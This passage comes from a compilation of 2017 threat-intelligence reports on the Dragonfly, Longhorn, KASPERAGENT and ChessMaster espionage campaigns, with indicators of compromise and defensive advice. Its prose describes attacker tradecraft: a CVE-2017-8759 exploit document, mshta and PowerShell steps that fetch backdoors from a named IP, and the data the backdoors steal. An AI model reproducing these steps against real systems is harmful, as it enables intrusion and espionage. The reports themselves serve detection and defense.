+s activity appears to be aimed at making it more difficult to determine who precisely is behind it:
+The attackers used more generally available malware and 
+living off the land
+ tools, such as administration
+tools like PowerShell, PsExec, and Bitsadmin, which may be part of a strategy to make attribution more
+difficult. The Phishery toolkit became available on Github in 2016, and a tool used by the group
+Screenutil
+also appears to use some code from CodeProject.
+The attackers also did not use any zero days. As with the group
+s use of publicly available tools, this could be
+an attempt to deliberately thwart attribution, or it could indicate a lack of resources.
+Some code strings in the malware were in Russian. However, some were also in French, which indicates that
+one of these languages may be a false flag.
+Conflicting evidence and what appear to be attempts at misattribution make it difficult to definitively state where this
+attack group is based or who is behind it.
+What is clear is that Dragonfly is a highly experienced threat actor, capable of compromising numerous
+organizations, stealing information, and gaining access to key systems. What it plans to do with all this intelligence
+has yet to become clear, but its capabilities do extend to materially disrupting targeted organizations should it
+choose to do so.
+Protection
+Symantec customers are protected against Dragonfly activity, Symantec has also made efforts to notify identified
+targets of recent Dragonfly activity.
+Symantec has the following specific detections in place for the threats called out in this blog:
+Symantec has also developed a list of Indicators of Compromise to assist in identifying Dragonfly activity:
+Family
+Command & Control
+Backdoor.Dorshel
+b3b5d67f5bbf5a043f5bf5d079dbcb56
+hxxp://103.41.177.69/A56WY
+Trojan.Karagany.B
+1560f68403c5a41e96b28d3f882de7f1
+hxxp://37.1.202.26/getimage/622622.jpg
+Trojan.Heriplor
+e02603178c8c47d198f7d34bcf2d68b8
+Trojan.Listrix
+da9d8c78efe0c6c8be70e6b857400fb1
+Hacktool.Credrix
+a4cf567f27f3b2f8b73ae15e2e487f00
+Backdoor.Goodor
+765fcd7588b1d94008975c4627c8feb6
+Trojan.Phisherly
+141e78d16456a072c9697454fc6d5f58
+Screenutil
+db07e1740152e09610ea826655d27e8d
+184.154.150.66
+Customers of the DeepSight Intelligence Managed Adversary and Threat Intelligence (MATI) service have
+previously received reporting on the Dragonfly 2.0 group, which included methods of detecting and thwarting the
+activities of this adversary.
+Best Practices
+Dragonfly relies heavily on stolen credentials to compromise a network. Important passwords, such as those
+with high privileges, should be at least 8-10 characters long (and preferably longer) and include a mixture of
+letters and numbers. Encourage users to avoid reusing the same passwords on multiple websites and
+sharing passwords with others should be forbidden. Delete unused credentials and profiles and limit the
+number of administrative-level profiles created. Employ two-factor authentication (such as Symantec VIP) to
+provide an additional layer of security, preventing any stolen credentials from being used by attackers.
+Emphasize multiple, overlapping, and mutually supportive defensive systems to guard against single point
+failures in any specific technology or protection method. This should include the deployment of regularly
+updated firewalls as well as gateway antivirus, intrusion detection or protection systems (IPS), website
+vulnerability with malware protection, and web security gateway solutions throughout the network.
+Implement and enforce a security policy whereby any sensitive data is encrypted at rest and in transit. Ensure
+that customer data is encrypted as well. This can help mitigate the damage of potential data leaks from within
+an organization.
+Implement SMB egress traffic filtering on perimeter devices to prevent SMB traffic leaving your network onto
+the internet.
+Educate employees on the dangers posed by spear-phishing emails, including exercising caution around
+emails from unfamiliar sources and opening attachments that haven
+t been solicited. A full protection stack
+helps to defend against emailed threats, including Symantec Email Security.cloud, which can block emailborne threats, and Symantec Endpoint Protection, which can block malware on the endpoint. Symantec
+Messaging Gateway
+s Disarm technology can also protect computers from threats by removing malicious
+content from attached documents before they even reach the user.
+Understanding the tools, techniques, and procedures (TTP) of adversaries through services like DeepSight
+Adversary Intelligence fuels effective defense from advanced adversaries like Dragonfly 2.0. Beyond
+technical understanding of the group, strategic intelligence that informs the motivation, capability, and likely
+next moves of the adversaries ensures more timely and effective decisions in proactively safeguarding your
+environment from these threats.
+Tags: Security, Endpoint Protection, Endpoint Protection Cloud, Security Response, Dragonfly, energy
+sector, sabotage, Switzerland, targeted attacks, Turkey, U.S.
+Longhorn: Tools used by cyberespionage group linked to
+Vault 7
+symantec.com/connect/blogs/longhorn-tools-used-cyberespionage-group-linked-vault-7
+April 9, 2017
+First evidence linking Vault 7 tools to known cyberattacks.
+By: Symantec Security ResponseSymantec Employee
+Created 10 Apr 2017
+Spying tools and operational protocols detailed in the recent Vault 7 leak have been used in
+cyberattacks against at least 40 targets in 16 different countries by a group Symantec calls
+Longhorn. Symantec has been protecting its customers from Longhorn
+s tools for the past
+three years and has continued to track the group in order to learn more about its tools, tactics,
+and procedures.
+The tools used by Longhorn closely follow development timelines and technical specifications
+laid out in documents disclosed by WikiLeaks. The Longhorn group shares some of the same
+cryptographic protocols specified in the Vault 7 documents, in addition to following leaked
+guidelines on tactics to avoid detection. Given the close similarities between the tools and
+techniques, there can be little doubt that Longhorn's activities and the Vault 7 documents are
+the work of the same group.
+Who is Longhorn?
+Longhorn has been active since at least 2011. It has used a range of back door Trojans in
+addition to zero-day vulnerabilities to compromise its targets. Longhorn has infiltrated
+governments and internationally operating organizations, in addition to targets in the financial,
+telecoms, energy, aerospace, information technology, education, and natural resources
+sectors. All of the organizations targeted would be of interest to a nation-state attacker.
+Longhorn has infected 40 targets in at least 16 countries across the Middle East, Europe, Asia,
+and Africa. On one occasion a computer in the United States was compromised but, following
+infection, an uninstaller was launched within hours, which may indicate this victim was infected
+unintentionally.
+#Vault7 linked #Longhorn group infiltrated governments, international orgs, other targets
+The link to Vault 7
+A number of documents disclosed by WikiLeaks outline specifications and requirements for
+malware tools. One document is a development timeline for a piece of malware called
+Fluxwire, containing a changelog of dates for when new features were incorporated. These
+dates align closely with the development of one Longhorn tool (Trojan.Corentry) tracked by
+Symantec. New features in Corentry consistently appeared in samples obtained by Symantec
+either on the same date listed in the Vault 7 document or several days later, leaving little doubt
+that Corentry is the malware described in the leaked document.
+Early versions of Corentry seen by Symantec contained a reference to the file path for the
+Fluxwire program database (PDB) file. The Vault 7 document lists removal of the full path for
+the PDB as one of the changes implemented in Version 3.5.0.
+Up until 2014, versions of Corentry were compiled using GCC. According to the Vault 7
+document, Fluxwire switched to a MSVC compiler for version 3.3.0 on February 25, 2015. This
+was reflected in samples of Corentry, where a version compiled on February 25, 2015 had
+used MSVC as a compiler.
+Date/time
+of sample
+compilation
+Embedded
+Corentry
+version
+number
+Corentry
+compiler
+e20d5255d8ab1ff5f157847d2f3ffb25
+23/08/2013
+10:20
+5df76f1ad59e019e52862585d27f1de2
+Vault 7
+changelog
+number
+Vault 7
+changelog
+date
+2.1.0 2.4.1
+Jan 12,
+2011 - Feb
+28, 2013
+3.0.0
+3.0.0
+Aug 23,
+2013
+21/02/2014
+11:07
+3.1.0
+3.1.0
+Feb 20,
+2014
+318d8b61d642274dd0513c293e535b38
+15/05/2014
+09:01
+3.1.1
+3.1.1
+May 14,
+2014
+3.2.0
+Jul 15,
+2014
+511a473e26e7f10947561ded8f73ffd0
+03/09/2014
+00:12
+3.2.1
+3.2.1
+Aug 18,
+2014
+c06d422656ca69827f63802667723932
+25/02/2015
+16:50
+MSVC
+3.3.0
+Feb 25,
+2015
+3.3.1 ->
+3.5.0
+May 17,
+2015 ->
+Nov 13,
+2015
+Corentry sample (MD5 hash)
+Table. Corentry version numbers and compilation dates compared to Fluxwire version
+numbers and changelog dates disclosed in Vault 7
+A second Vault 7 document details Fire and Forget, a specification for user-mode injection of a
+payload by a tool called Archangel. The specification of the payload and the interface used to
+load it was closely matched in another Longhorn tool called Backdoor.Plexor.
+A third document outlines cryptographic protocols that malware tools should follow. These
+include the use of inner cryptography within SSL to prevent man-in-the-middle (MITM) attacks,
+key exchange once per connection, and use of AES with a 32-byte key. These requirements
+align with the cryptographic practices observed by Symantec in all of the Longhorn tools.
+Other Vault 7 documents outline tradecraft practices to be used, such as use of the Real-time
+Transport Protocol (RTP) as a means of command and control (C&C) communications,
+employing wipe-on-use as standard practice, in-memory string de-obfuscation, using a unique
+deployment-time key for string obfuscation, and the use of secure erase protocols involving
+renaming and overwriting. Symantec has observed Longhorn tools following all of these
+practices. While other malware families are known to use some of these practices, the fact that
+so many of them are followed by Longhorn makes it noteworthy.
+Global reach: Longhorn
+s operations
+While active since at least 2011, with some evidence of activity dating back as far as 2007,
+Longhorn first came to Symantec
+s attention in 2014 with the use of a zero-day exploit (CVE2014-4148) embedded in a Word document to infect a target with Plexor.
+The malware had all the hallmarks of a sophisticated cyberespionage group. Aside from
+access to zero-day exploits, the group had preconfigured Plexor with elements that indicated
+prior knowledge of the target environment.
+To date, Symantec has found evidence of Longhorn activities against 40 targets spread across
+16 different countries. Symantec has seen Longhorn use four different malware tools against
+its targets: Corentry, Plexor, Backdoor.Trojan.LH1, and Backdoor.Trojan.LH2.
+Before deploying malware to a target, the Longhorn group will preconfigure it with what
+appears to be target-specific code words and distinct C&C domains and IP addresses for
+communications back to the attackers. Longhorn tools have embedded capitalized code
+words, internally referenced as 
+groupid
+ and 
+siteid
+, which may be used to identify campaigns
+and victims. Over 40 of these identifiers have been observed, and typically follow the theme of
+movies, characters, food, or music. One example was a nod to the band The Police, with the
+code words REDLIGHT and ROXANNE used.
+Longhorn
+s malware has an extensive list of commands for remote control of the infected
+computer. Most of the malware can also be customized with additional plugins and modules,
+some of which have been observed by Symantec.
+Longhorn
+s malware appears to be specifically built for espionage-type operations, with
+detailed system fingerprinting, discovery, and exfiltration capabilities. The malware uses a high
+degree of operational security, communicating externally at only select times, with upload
+limits on exfiltrated data, and randomization of communication intervals
+all attempts to stay
+under the radar during intrusions.
+For C&C servers, Longhorn typically configures a specific domain and IP address combination
+per target. The domains appear to be registered by the attackers; however they use privacy
+services to hide their real identity. The IP addresses are typically owned by legitimate
+companies offering virtual private server (VPS) or webhosting services. The malware
+communicates with C&C servers over HTTPS using a custom underlying cryptographic
+protocol to protect communications from identification.
+Prior to the Vault 7 leak, Symantec
+s assessment of Longhorn was that it was a well-resourced
+organization which was involved in intelligence gathering operations. This assessment was
+based on its global range of targets and access to a range of comprehensively developed
+malware and zero-day exploits. The group appeared to work a standard Monday to Friday
+working week, based on timestamps and domain name registration dates, behavior which is
+consistent with state-sponsored groups.
+Symantec
+s analysis uncovered a number of indicators that Longhorn was from an Englishspeaking, North American country. The acronym MTWRFSU (Monday Tuesday Wednesday
+ThuRsday Friday Saturday SUnday) was used to configure which day of the week malware
+would communicate with the attackers. This acronym is common in academic calendars in
+North America. Some of the code words found in the malware, such as SCOOBYSNACK,
+would be most familiar in North America. In addition to this, the compilation times of tools with
+reliable timestamps indicate a time zone in the Americas.
+Distinctive fingerprints
+Longhorn has used advanced malware tools and zero-day vulnerabilities to infiltrate a string of
+targets worldwide. Taken in combination, the tools, techniques, and procedures employed by
+Longhorn are distinctive and unique to this group, leaving little doubt about its link to Vault 7.
+Throughout its investigation of Longhorn, Symantec
+s priority has been protection of its
+customers. Through identifying different strains of Longhorn malware, connecting them to a
+single actor, and learning more about the group
+s tactics and procedures, Symantec has been
+able to better defend customer organizations against this and similar threats. In publishing this
+new information, Symantec
+s goal remains unchanged: to reassure customers that it is aware
+of this threat and actively working to protect them from it.
+Protection
+Symantec and Norton products have been protecting against Longhorn malware for a number
+of years with the following detections:
+Tags: Products, Endpoint Protection, Endpoint Protection Cloud, Security Response,
+AIT, APT, Backdoor.Plexor, , , Investigation, Longhorn, Trojan.Corentry, Vault 7
+KASPERAGENT Malware Campaign resurfaces in May
+Election
+threatconnect.com /blog/kasperagent-malware-campaign/
+6/14/2017
+KASPERAGENT Malware Campaign resurfaces in the run up to May
+Palestinian Authority Elections
+ThreatConnect has identified a KASPERAGENT malware campaign leveraging decoy Palestinian Authority
+documents. The samples date from April - May 2017, coinciding with the run up to the May 2017 Palestinian
+Authority elections. Although we do not know who is behind the campaign, the decoy documents
+ content focuses on
+timely political issues in Gaza and the IP address hosting the campaign
+s command and control node hosts several
+other domains with Gaza registrants.
+In this blog post we will detail our analysis of the malware and associated indicators, look closely at the decoy files,
+and leverage available information to make an educated guess on the possible intended target. Associated
+indicators and screenshots of the decoy documents are all available here in the ThreatConnect platform.
+Some of the indicators in the following post were published on AlienVault OTX on 6/13.
+Background on KASPERAGENT
+KASPERAGENT is Microsoft Windows malware used in efforts targeting users in the United States, Israel,
+Palestinian Territories, and Egypt since July 2015. The malware was discovered by Palo Alto Networks Unit 42 and
+ClearSky Cyber Security, and publicized in April 2017 in the Targeted Attacks in the Middle East Using
+KASPERAGENT and MICROPSIA blog. It is called KASPERAGENT based on PDB strings identified in the malware
+such as 
+c:\Users\USA\Documents\Visual Studio 2008\Projects\New folder (2)\kasper\Release\kasper.pdb.
+The threat actors used shortened URLs in spear phishing messages and fake news websites to direct targets to
+download KASPERAGENT. Upon execution, KASPERAGENT drops the payload and a decoy document that
+displays Arabic names and ID numbers. The malware establishes persistence and sends HTTP requests to the
+command and control domain mailsinfo[.]net. Of note, the callbacks were to PHP scripts that included /dad5/ in the
+URLs. Most samples of the malware reportedly function as a basic reconnaissance tool and downloader. However,
+some of the recently identified files display 
+extended-capability
+ including the functionality to steal passwords, take
+screenshots, log keystrokes, and steal files. These 
+extended-capability
+ samples called out to an additional
+command and control domain, stikerscloud[.]com. Additionally, early variants of KASPERAGENT used 
+Chrome
+the user agent, while more recent samples use 
+OPAERA
+ - a possible misspelling of the 
+Opera
+ - browser. The
+indicators associated with the blog article are available in the ThreatConnect Technical Blogs and Reports source
+here.
+The samples we identified leverage the same user agent string 
+OPAERA
+, included the kasper PDB string reported
+by Unit 42, and used similar POST and GET requests. The command and control domains were different, and these
+samples used unique decoy documents to target their victims.
+Identifying another KASPERAGENT campaign
+We didn
+t start out looking for KASPERAGENT, but a file hit on one of our YARA rules for an executable designed to
+display a fake XLS icon - one way adversaries attempt to trick targets into thinking a malicious file is innocuous. The
+first malicious sample we identified (6843AE9EAC03F69DF301D024BFDEFC88) had the file name 
+testproj.exe
+and was identified within an archive file (4FE7561F63A71CA73C26CB95B28EAEE8) with the name 
+.r24
+. This translates to 
+The Complete Details of Fuqaha's Assassination
+, a reference to Hamas military
+leader Mazen Fuqaha who was assassinated on March 24, 2017.
+We detonated the file in VxStream
+s automated malware analysis capability and found testproj.exe dropped a
+benign Microsoft Word document that pulls a jpg file from treestower[.]com. Malwr.com observed this site in
+association with another sample that called out to mailsinfo[.]net - a host identified in the Targeted Attacks in the
+Middle East Using KASPERAGENT and MICROPSIA blog. That was our first hint that we were looking at
+KASPERAGENT.
+The jpg pulled from treestower[.]com displays a graphic picture of a dead man, which also appeared on a
+Palestinian news website discussing the death of Hamas military leader Mazen Fuqaha. A separate malicious
+executable - 2DE25306A58D8A5B6CBE8D5E2FC5F3C5 (vlc.exe) - runs when the photograph is displayed, using
+the YouTube icon and calling out to several URLs on windowsnewupdates[.]com. This host was registered in late
+March and appears to be unique to this campaign.
+With our interest piqued, we pivoted on the import hashes (also known as an imphash), which captures the import
+table of a given file. Shared import hashes across multiple files would likely identify files that are part of the same
+malware family. We found nine additional samples sharing the imphash values for the two executables,
+C66F88D2D76D79210D568D7AD7896B45 and DCF3AA484253068D8833C7C5B019B07.
+Import Hash Results c66f88d2d76d79210d568d7ad7896b45
+Import Hash Results dcf3aa484253068d8833c7c5b019b07a
+Analysis of those files uncovered two more imphashes, 0B4E44256788783634A2B1DADF4F9784 and
+E44F0BD2ADFB9CBCABCAD314D27ACCFC, for a total of 20 malicious files. These additional samples behaved
+similarly to the initial files; testproj.exe dropped benign decoy files and started malicious executables. The malicious
+executables all called out to the same URLs on windowsnewupdates[.]com.
+These malware samples leverage the user agent string 
+OPAERA,
+ the same one identified in the Targeted Attacks
+in the Middle East Using KASPERAGENT and MICROPSIA blog. Although the command and control domain was
+different from those in the report, the POST and GET requests were similar and included /dad5/ in the URL string. In
+addition, the malware samples included the kasper PDB string reported by Unit 42, prompting us to conclude that
+we were likely looking at new variants of KASPERAGENT.
+The Decoy Files
+Several of the decoy files appeared to be official documents associated with the Palestinian Authority - the body that
+governs the Palestinian Territories in the Middle East. We do not know whether the files are legitimate Palestinian
+Authority documents, but they are designed to look official. Additionally, most of the decoy files are publicly available
+on news websites or social media.
+The first document - dated April 10, 2017 - is marked 
+Very Secret
+ and addressed to Yahya Al-Sinwar, who Hamas
+elected as its leader in Gaza in February 2017. Like the photo displayed in the first decoy file we found, this
+document references the death of Mazen Fuqaha. The Arabic-language text and English translation of the document
+are available in ThreatConnect here. A screenshot of the file is depicted below.
+The second legible file, dated April 23, has the same letterhead and also is addressed to Yahya al-Sinwar. This file
+discusses the supposed announcement banning the rival Fatah political party, which controls the West Bank, from
+Gaza. It mentions closing the Fatah headquarters and houses that were identified as meeting places as well as the
+arrest of some members of the party.
+Looking at the Infrastructure
+We don
+t know for sure who is responsible for this campaign, but digging into the passive DNS results led us to
+some breadcrumbs. Starting with 195.154.110[.]237, the IP address which is hosting the command and control
+domain windowsnewupdates[.]com, we found that the host is on a dedicated server.
+ThreatConnect DomainTools Integration Results
+Using our Farsight DNSDB integration, we identified other domains currently and previously hosted on the same IP.
+Reverse DNS and Passive DNS results for 195.154.110[.]237
+Two of the four domains that have been hosted at this IP since 2016 -- upfile2box[.]com and 7aga[.]net -- were
+registered by a freelance web developer in Gaza, Palestine. This IP has been used to host a small number of
+domains, some of which were registered by the same actor, suggesting the IP is dedicated for a single individual or
+group
+s use. While not conclusive, it is intriguing that the same IP was observed hosting a domain ostensibly
+registered in Gaza AND the command and control domain associated with a series of targeted attacks leveraging
+Palestinian Authority-themed decoy documents referencing Gaza.
+Targeting Focus?
+Just like we can
+t make a definitive determination as to who conducted this campaign, we do not know for sure who
+it was intended to target. What we do know is that several of the malicious files were submitted to a public malware
+analysis site from the Palestinian Territories. This tells us that it is possible either the threat actors or at least one of
+the targets is located in that area. Additionally, as previously mentioned, the decoy document subject matter would
+likely be of interest to a few different potential targets in the Palestinian Territories. Potential targets such as Hamas
+who controls the Gaza strip and counts Mazen Fuqaha and Yahya al-Sinwar as members, Israel which is accused of
+involvement in the assassination of Mazen Fuqaha, and the Fatah party of which the Prime Minister and President
+of the Palestinian Authority are members.
+The campaign corresponds with a period of heightened tension in Gaza. Hamas, who has historically maintained
+control over the strip, elected Yahya al-Sinwar - a hardliner from its military wing - as its leader in February. A
+Humanitarian Bulletin published by the United Nations
+ Office for the Coordination of Humanitarian Affairs indicates
+in March 2017 (just before the first malware samples associated with this campaign were identified in early April)
+Hamas created 
+a parallel institution to run local ministries in Gaza,
+ further straining the relationship between
+Hamas and the Palestinian Authority who governs the West Bank. After this announcement, the Palestinian Authority
+cut salaries for its employees in Gaza by 30 percent and informed Israel that it would no longer pay for electricity
+provided to Gaza causing blackouts throughout the area and escalating tensions between the rival groups. Then, in
+early May (two days after the last malware sample was submitted) the Palestinian Authority held local elections in
+the West Bank which were reportedly seen as a test for the Fatah party. Elections were not held in Gaza.
+All of that is to say, the decoy documents leveraged in this campaign would likely be relevant and of interest to a
+variety of targets in Israel and Palestine, consistent with previously identified KASPERAGENT targeting patterns.
+Additionally, the use of what appear to be carefully crafted documents at the very least designed to look like official
+government correspondence suggests the malware may have been intended for a government employee or
+contractor who would be interested in the documents
+ subject matter. More associated indicators, screenshots of
+many of the decoy documents, and descriptions of the activity are available via the March - May 2017 Kasperagent
+Malware Leveraging WindowsNewUpdates[.]com Campaign in ThreatConnect.
+ChessMaster Makes its Move: A Look into the Campaign
+Cyberespionage Arsenal
+blog.trendmicro.com/trendlabs-security-intelligence/chessmaster-cyber-espionage-campaign/
+Trend Micro
+July 27, 2017
+by Benson Sy, CH Lei, and Kawabata Kohei
+From gathering intelligence, using the right social
+engineering lures, and exploiting vulnerabilities to laterally
+moving within the network, targeted attacks have multifarious
+tools at their disposal. And like in a game of chess, they are
+the set pieces that make up their modus operandi.
+Take for instance the self-named ChessMaster, a campaign
+targeting Japanese academe, technology enterprises, media
+outfits, managed service providers, and government
+agencies. It employs various poisoned pawns in the form of
+malware-laden spear-phishing emails containing decoy documents. And beyond
+ChessMaster
+s endgame and pawns, we also found red flags that allude to its links to APT 10,
+also known as menuPass, POTASSIUM, Stone Panda, Red Apollo, and CVNX.
+ChessMaster
+s name is from pieces of chess/checkers/draughts we found in the resource
+section of the main backdoor they use against their targets: ChChes, which Trend Micro
+detects as BKDR_CHCHES.
+What makes the campaign unique is its arsenal of tools and techniques:
+Malicious shortcut (LNK) files and PowerShell. The LNK files execute Command
+Prompt that downloads a PowerShell script, which would either directly drop or
+reflectively load ChChes into the machine. The latter method makes ChChes a fileless
+malware.
+Self-extracting archive (SFX). An archive that drops an executable (EXE), a dynamiclink library (DLL), and a binary file (.BIN). Upon their extraction, malicious code is
+injected into the process of a legitimate file/application (DLL hijacking). ChessMaster
+takes it up a notch via load-time dynamic linking to trigger the malicious DLL
+s function.
+Runtime packers. Throughout its campaign, ChChes used three packers to obfuscate
+itself and avoid detection. The first had no encryption and a varied loader code. The
+second had a buggy (or anti-emulation) exclusive OR (XOR) encryption technique. The
+third added an AES algorithm on top of XOR encryption. Their compile dates overlap,
+which indicates ChChes
+ authors take cues and fine-tune their malware.
+Second-stage payloads. Additional malware are introduced to the infected system for
+persistence. These are actually variants of ChChes that use similar entry points but
+different and encrypted C&C communication.
+Hacking Tools. ChessMaster draws on legitimate email and browser password recovery
+and dumping tools they
+ve misused and modified for their campaign. These can restore
+forgotten passwords, which are then dumped and retrieved. Lateral movement and
+further attacks can be worked out from here.
+TinyX. A version of PlugX sans the plug-in functionality that allows it to adopt new
+capabilities. TinyX is bundled separately in spear-phishing emails.
+RedLeaves. A second-stage backdoor that operates like the open-source and fileless
+remote access Trojan (RAT) Trochilus, which is known for enabling lateral movement in
+the infected systems. RedLeaves adopted capabilities from PlugX. In April, a RedLeaves
+variant named himawari (Japanese for sunflower) emerged capable of evading YARA
+rules released during that time.
+ChessMaster and APT 10 Plays the Same Cyberespionage Game
+APT 10/menuPass is a cyberespionage group whose specific campaign, Operation Cloud
+Hopper, attacked the intermediaries of their targets of interest
+managed service providers
+(MSPs). Its notoriety stems from their prolific use of multifarious information-stealing backdoors
+and vulnerability exploits, along with the tenacity of its subterfuges, from spear-phishing emails
+to attack and infection chains. It also abused legitimate or open-source remote administration
+tools to steal data.
+If that sounded familiar, it
+s because ChessMaster and APT 10 appear to be playing the same
+cyberespionage game. Here
+s a further illustration:
+Figure 1: Similarities in ChessMaster and APT 10
+s attack chain
+We first saw ChChes set its sights on an organization that
+s long been a target of APT
+10/menuPass. As we caught and delved into more ChChes samples in the wild, however, we
+also saw how they followed the same pattern
+exclusive packers, mutual targets, overlapping
+C&C infrastructure.
+ChChes
+ packer, for instance, resembled the one used in menuPass
+ old PlugX samples. DNS
+records also showed that some of their command and control (C&C) servers and domains
+resolved to the same IP address, or resided in the same subnet. Are they operated by the
+same actors? Their commonalities make it appear so. It
+s also known to happen; BlackTech
+cyberespionage campaigns are a case in point.
+Figure 2: Comparison of Emdivi and ChChes
+ChessMaster
+s ChChes also resembles another backdoor, Emdivi, which first made waves in
+2014. They have the same endgame. Both are second-stage payloads that use the system
+Security Identifier (SID) as encryption key so they execute only in their target
+s machine. Their
+difference lies in complexity
+ChChes hides part of the decryption key and payload in registry
+keys to make it harder to reverse engineer.
+But that
+s just one dot in several we
+ve connected. In one instance, we detected PlugX and
+Emdivi on the same machine. This PlugX variant connected to an APT 10/menuPass-owned
+domain, but the packer is similar to that used by ChChes. While it
+s possible it was hit by two
+different campaigns, further analysis told a different story. Both were compiled on the same
+date, only several hours apart. We detected and acquired the samples the next day, which
+means both backdoors were delivered to the victim a day after they were compiled.
+Figure 3: Overview of the overlaps in ChessMaster and APT 10
+s campaigns
+Take 
+Control of the Center
+Ultimately attacks like ChessMaster
+s make pawns out of the systems, networks, devices and
+their users, all of which hold the organization
+s crown jewels. This is why enterprises need to
+be steps ahead of the game: prepare, respond, restore, and learn. Plan ahead
+what
+techniques will attackers use? How can I defend against them? Don
+t just pull the plug
+understand what happened to better assess and mitigate the damage. Fine-tune your
+response
+what worked, what didn
+t, and what could
+ve been done better?
+Defense in depth plays a crucial role especially for the IT/system administrators and
+information security professionals that watch over them. The network, endpoints, servers,
+mobile devices, and web/email gateways are the bishops, knights, and rooks that underpin the
+enterprise
+s crown jewels, which is why securing them is important. Reduce their attack
+surface. Keep the systems updated and regularly patched, and enforce the principle of least
+privilege. Employ behavior monitoring and application control. Deploy firewalls as well intrusion
+detection and prevention systems. Implement URL categorization, network segmentation, and
+data categorization.
+ChessMaster
+s gambit is spear-phishing, so it
+s especially important to filter and safeguard the
+email gateway. Additionally, foster a cybersecurity-aware workforce. Seemingly benign icons
+or decoy documents can still swindle the victim, for instance. More importantly, develop
+proactive incident response and remediation strategies
+threat intelligence helps enterprises
+prepare and mitigate attacks. Like in chess, the more you understand your enemy
+s moves,
+the more successful you can be at thwarting them.
+The Indicators of Compromise (IoCs) related to ChessMaster
+s campaigns is in this appendix.
+This has been presented in the RSA Conference 2017 Asia Pacific & Japan as 
+ChessMaster:
+A New Campaign Targeting Japan Using the New ChChes Backdoor
+ on July 27, 2017, in
+Marina Bay Sands, Singapore.
+Updated on August 14, 2017, 11:50 PM to include IoCs related to ChessMaster.
+ChessMaster
+s New Strategy: Evolving Tools and Tactics
+blog.trendmicro.com/trendlabs-security-intelligence/chessmasters-new-strategy-evolving-tools-tactics/
+Trend Micro
+November 6, 2017
+by MingYen Hsieh, CH Lei, and Kawabata Kohei
+A few months ago, we covered the ChessMaster
+cyberespionage campaign, which leveraged a variety of
+toolsets and malware such as ChChes and remote access
+trojans like RedLeaves and PlugX to compromise its targets
+primarily organizations in Japan. A few weeks ago, we
+observed new activity from ChessMaster, with notable
+evolutions in terms of new tools and tactics that weren
+present in the initial attacks. From what we
+ve seen,
+ChessMaster is continuously evolving, using open source
+tools and ones they developed, likely as a way to anonymize their operations. Based on the
+way the campaign has developed, it won
+t be surprising to see additional evolutions from
+ChessMaster in the future.
+Infection Vector
+Figure: 1 ChessMaster infection chain.
+Here is a summary of how ChessMaster enters a target system:
+1. An exploit document arrives on a target system. This document abuses a SOAP WSDL
+parser vulnerability (CVE-2017-8759) that affects the Microsoft .NET Framework
+2. It then accesses the remote server 89[.]18[.]27[.]159/img.db
+3. Once the victim opens the document, the attacker can execute arbitrary commands on
+the victim
+s machine.
+4. The exploit document then launches mshta.exe to access 89[.]18[.]27[.]159:8080/lK0RS,
+which serves as the first backdoor into the system
+5. This backdoor launches a malicious PowerShell script
+6. The PowerShell script downloads and activates the malware located in the remote
+server 89[.]18[.]27[.]159/FA347FEiwq.jpg
+7. jpg is the second backdoor, which uses the Command-and-Control (C&C)
+server62[.]75[.]197[.]131.
+As mentioned earlier, the first step of the new campaign involves the use of an exploit
+document that connects to the remote server 89[.]18[.]27[.]159/img.db when opened. Img.db
+holds the exploit command, which will execute the content of another remote server,
+89[.]18[.]27[.]159:8080/lK0RS, via mhsta.exe.
+The image below shows the malicious link 89[.]18[.]27[.]159/img.db embedded in the exploit
+document:
+Figure 2. Link embedded in the document
+89[.]18[.]27[.]159:8080/lK0RS is a JScript backdoor, which apparently comes from an open
+source RAT known as 
+Koadic.
+At this stage, we observed that the attacker tried to gather the system
+s environment
+information via command line tools. We also observed that some commands were based on
+the result of a previous command, which means that not all parts of the attack were automated
+and that parts of the commands were done manually. While this might be a sign of a more
+sophisticated automation technique, we believe that this may be an attacker trying to get up
+close and personal by manually checking the environment before delivering the final payload.
+It is possible that this was done to avoid sandboxing or analysis by researchers.
+While we were not able to gather the actual live data of the next step of the attack, we were
+able to observe Koadic and the following script, which tries to download another DLL file from
+the same server that hosts Koadic, at the same time. We believe that FA347FEiwq.jpg serves
+as the final payload of this attack.
+Figure 3: PowerShell script used to download & execute FA347FEiwq.jpg
+The script attempts to download the file from 89[.]18[.]27[.]159/FA347FEiwq.jpg (detected by
+Trend Micro as BKDR_ANEL.ZKEI), a DLL file which serves as the second backdoor. The
+Powershell script leverages RegisterXLL, which is a component of Excel, to load BKDR_ANEL
+into Excel.exe
+Figure 4: FA347FEiwq.jpg is loaded by Excel.exe
+Backdoor Analysis
+BKDR_ANEL is downloaded from89[.]18[.]27[.]159. Once loaded onto the system, it will launch
+and inject code into svchost.exe, after which the injected code decrypts and activates the
+embedded backdoor. BKDR_ANEL has a Microsoft signature attached
+the signature is
+invalid and likely added to make it seem more harmless.
+The backdoor has a hardcoded malware version labeled 
+5.0.0 beta1
+ that contains basic
+backdoor routines with a string-like 
+Function not implemented.
+ inside. The relatively
+incomplete code might be a clue of a new variant in the future.
+The malware
+s C&C protocol is very similar to the one used by BKDR_CHCHES at first glance:
+Figure 5: Comparison of BKDR_ANEL and BKDR_CHCHES
+ C&C protocols
+However they are different backdoors, with BKDR_CHCHES employing RC4 as its main
+encryption algorithm wherein the decryption key is sent with the encrypted information
+separated by 
+ and set in the Cookie header. On the other hand, BKDR_ANEL utilizes
+Blowfish with the hardcoded encryption key obviously labeled as 
+this is the encrypt key.
+Another difference between the two is that BKDR_CHCHES does not contain any backdoor
+routines by default. Instead, it loads additional modules from the C&C server directly into
+memory. Alternatively, BKDR_ANEL is more like a regular backdoor embedded with basic
+backdoor routines.
+The image and table below illustrate the information BKDR_ANEL sends, and how
+BKDR_ANEL encrypts the information.
+Figure 6: Information sent by BKDR_ANEL (1/2)
+Offset
+Description
+Example in previous figure
+Process ID
+78 0C 00 00
+MD5(computer name + machine
+GUID)
+20 C4 36 1D 03 2F 93 B8
+C7 A0 01 9A EB 2B BD EF
+0x14
+Computer name
+TEST
+0x20
+Timestamp
+1508201270
+0x2a
+OS version
+5.1.2600
+0x3a
+User name
+Administrator
+0x47
+Time zone information
+00 00 00 00 => 
+ (Bias / 60)
+00 00 00 00 => 
+ (Bias % 60)
+01 00 00 00 => Has DaylightBias or not
+0x53
+Current directory
+C:\Documents and Settings\Administrator\My
+Documents
+0x87
+Backdoor version
+5.0.0 beta1
+Table 1: Information sent by BKDR_ANEL (2/2)
+Figure 7: BKDR_ANEL encryption process
+The information blocks are separated by 
+. As seen in the image above; the string before 
+in each block, such as 
+oVG,
+ is not used.
